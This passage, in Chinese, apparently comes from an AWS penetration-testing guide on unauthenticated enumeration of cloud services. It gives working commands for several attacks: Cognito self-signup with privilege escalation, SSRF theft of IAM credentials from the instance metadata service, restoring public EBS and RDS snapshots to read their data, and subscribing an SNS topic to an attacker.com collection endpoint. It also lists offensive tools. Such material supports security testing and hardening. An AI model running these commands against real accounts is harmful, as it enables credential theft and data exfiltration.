如果 Cognito User Pool 允许自注册(默认行为),攻击者可以创建用户获取认证身份:
# 需要知道 Client ID(常见于前端代码)
aws cognito-idp sign-up \
--client-id CLIENT_ID \
--username attacker@test.com \
--password 'StrongP@ss123!'
# 注册成功后可能获得:
# 1. 应用层面的认证访问
# 2. Identity Pool 的认证角色(通常权限高于未认证角色)使用 Pacu 自动化
# 枚举所有 Cognito 资源
pacu > run cognito__enum
# 自动尝试注册和提权
pacu > run cognito__attack --username test --email test@test.com \
--identity_pools us-east-1:POOL_ID \
--user_pool_clients CLIENT_ID@us-east-1_POOL_IDEC2 未授权枚举
公开端口与服务
EC2 实例可能暴露任意端口到互联网。常见高价值端口:
- 80/443:Web 应用(SSRF → 元数据服务 → IAM 凭据)
- 22/3389:SSH/RDP 暴力破解
- 9200:Elasticsearch 未授权访问
- 6379:Redis 未授权访问
SSRF 到元数据服务
这是从 Web 漏洞获取 AWS 凭据的经典路径:
# IMDSv1(已废弃但很多实例仍在使用)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# IMDSv2(需要先获取 Token)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME公开 AMI 与 EBS 快照
# 搜索目标账户的公开 AMI
aws ec2 describe-images --executable-users all \
--query 'Images[?contains(ImageLocation, `TARGET_ACCT_ID/`) == `true`]'
# 搜索包含特定关键词的公开 AMI
aws ec2 describe-images --executable-users all \
--query 'Images[?contains(ImageLocation, `company-name`) == `true`]'
# 搜索公开 EBS 快照
aws ec2 describe-snapshots --restorable-by-user-ids all \
--query 'Snapshots[?OwnerId==`TARGET_ACCT_ID`]'
# 利用方式:从快照创建卷并挂载,搜索敏感文件
aws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a
# 挂载到自己的 EC2 实例后读取文件系统API Gateway 未授权枚举
URL 格式: https://{random_id}.execute-api.{region}.amazonaws.com/{stage}Lambda Authorizer 绕过
API Gateway 使用 Lambda Authorizer 时,如果权限策略使用了通配符 *,可能导致路径绕过:
# 策略配置:arn:aws:execute-api:REGION:ACCT:API_ID/prod/*/dashboard/*
# 意图:允许访问 /dashboard/ 下的所有路径
# 风险:* 不限于一个路径段,/admin/dashboard/createAdmin 也会匹配Account ID 提取
与 S3 类似,可以通过 aws:ResourceAccount 条件键从公开 API Gateway URL 提取 Account ID。
SNS 未授权枚举
SNS Topic 如果配置了允许 * 的资源策略,任何 AWS 账户都可以发布和订阅消息:
# 如果知道 Topic ARN,尝试订阅
aws sns subscribe --topic-arn arn:aws:sns:REGION:ACCT:TOPIC_NAME \
--protocol https --notification-endpoint https://attacker.com/collect
# SQS 协议的订阅不需要确认(最隐蔽)
aws sns subscribe --topic-arn TOPIC_ARN \
--protocol sqs --notification-endpoint ATTACKER_QUEUE_ARNSQS 未授权枚举
URL 格式: https://sqs.{region}.amazonaws.com/{account-id}/{queue-name}SQS 队列策略如果允许 "Principal": "*",任何人都可以读取和发送消息:
# 尝试接收消息
aws sqs receive-message --queue-url https://sqs.REGION.amazonaws.com/ACCT/QUEUE
# 尝试发送消息
aws sqs send-message --queue-url URL --message-body "test"其他服务
ECR 公开镜像仓库
# 公开仓库格式:public.ecr.aws/{alias}/{name}
# 私有仓库如果策略配置为 "Principal": "*" 也可跨账户访问
# 使用 skopeo 枚举可访问的仓库
skopeo list-tags docker://PRIVATE_REGISTRY_URLRDS 公开快照
# 搜索公开的 RDS 快照
aws rds describe-db-snapshots --snapshot-type public \
--query 'DBSnapshots[?contains(DBSnapshotIdentifier, `company`) == `true`]'
# 利用:从公开快照恢复数据库实例,读取全部数据
aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier stolen-db \
--db-snapshot-identifier arn:aws:rds:REGION:ACCT:snapshot:PUBLIC_SNAPElasticsearch / OpenSearch 公开访问
Elasticsearch 域如果配置为公开访问,可以直接查询所有索引:
# 直接访问
curl https://search-DOMAIN.REGION.es.amazonaws.com/_cat/indices
curl https://search-DOMAIN.REGION.es.amazonaws.com/_search?q=passwordDynamoDB 公开访问
DynamoDB 通常不直接暴露到互联网,但如果通过 API Gateway 代理且缺少认证,攻击者可以通过 API 端点操作表:
# 通过未认证的 API Gateway 端点访问 DynamoDB
curl https://API_ID.execute-api.REGION.amazonaws.com/prod/itemsElastic Beanstalk 枚举
URL 格式: http://{env-name}.{region}.elasticbeanstalk.comBeanstalk 环境名称可以暴力枚举,发现后可测试 Web 应用漏洞。
IoT 未授权访问
IoT 设备如果使用了过于宽松的 IoT Policy,攻击者可以连接 MQTT broker 并订阅所有主题。
Identity Center / SSO 枚举
URL 格式: https://{alias}.awsapps.com通过暴力枚举别名可以发现 SSO 入口,进一步尝试密码喷洒或社工攻击。
跨账户攻击
某些 AWS 服务在配置资源策略时,如果没有指定 Account ID 就使用了 AWS 服务 Principal,可能允许任何 AWS 账户的对应服务写入。历史上 CloudTrail、AWS Config、Serverless Repository 等服务都出现过此类问题。
枚举工具推荐
| 工具 | 功能 | 链接 |
|---|---|---|
| cloud_enum | 多云公开资源发现(S3/Azure/GCP) | github.com/initstring/cloud_enum |
| S3Scanner | S3 Bucket 批量扫描 | github.com/sa7mon/S3Scanner |
| BucketLoot | 公开 Bucket 敏感信息搜索 | github.com/redhuntlabs/BucketLoot |
| conditional-love | 从公开资源提取 Account ID 和标签 | github.com/plerionhq/conditional-love |
| Pacu | AWS 利用框架(含 cognito 模块) | github.com/RhinoSecurityLabs/pacu |
| leakos | AWS 凭据泄露搜索 | github.com/carlospolop/leakos |